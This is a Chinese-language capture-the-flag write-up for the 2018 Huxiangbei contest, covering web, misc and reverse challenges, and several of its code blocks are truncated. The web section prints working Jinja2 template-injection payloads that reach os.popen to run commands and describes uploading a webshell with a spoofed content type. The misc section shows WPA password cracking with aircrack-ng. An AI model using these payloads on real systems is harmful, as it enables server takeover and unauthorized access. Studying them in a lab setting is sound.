湖湘杯2018writeup
web
1.xme0
解题思路和相关代码
网页下面有提示,使用了模板
尝试模板注入,发现发帖后再查看存在模板注入
构造任意命令执行:
1 | {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %} |
发现flag不在常规位置
使用grep搜索
1 | {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('grep -r -n \"hxb\" /home/XmeO').read()") }}{% endif %}{% endfor %} |
flag截图
Mynote
解题思路
文件上传,由于使用阿里云服务器,很容易被封ip
一般的shell
都被发现封了ip
相关代码
最后使用:
1 |
|
要改变http头的content-type
为image/jpg
flag截图
最后读到flag.php
Readflag
解题思路
直接用文件协议读取,但flag
藏得太深,艰难寻找
相关代码和flag截图
Codecheck
解题思路
扫目录:
去new目录看看,发现源码:
下下来发现解密函数和直接拼接的数据库查询语句
1 | function decode($data){ |
相关代码
编写相应的加密函数,接下来就是常规的数据库注入
1 | function encode($data){ |
flag截图
misc
5.welcome
关注公众号获取 flag
6.flow
相关思路及代码
打开流量包发现里面有一个SSID
为ctf
的wifi名,而当前数据是通过802.11来进行加密的,所以我们第一步就需要进行爆破。
从网上找到几个WiFi密码的字典,然后使用aircrack-ng
来进行爆破:
1 | aircrack-ng -w wpa-dictionary/huanying-0.txt ctf.pcap |
很快就把密码爆破出来了,然后我们通过这个密码将流量包解密,
1 | airdecap-ng -e ctf ctf.pcap -p password1 |
1 | strings ctf-dec.pcap |grep 'flag' |
flag
最终拿到flag:flag{H4lf_1s_3n0ugh}
disk
解题思路
用010editor
打开,查找flag
字符串,发现有多个匹配
发现里面有可疑的二进制串
搞出来试试
相关代码
1 | res = '' |
flag截图
加上一个括号即可
reverse
8.Replace
首先拖进 IDA,无法反编译,使用 PEID
查看发现加了 upx
的壳,直接上网找脱壳工具:https://github.com/upx/upx/releases/tag/v3.95
脱完壳后就能在IDA
中查看程序逻辑
直接使用爆破求解
相关代码
1 | #coding=utf-8 |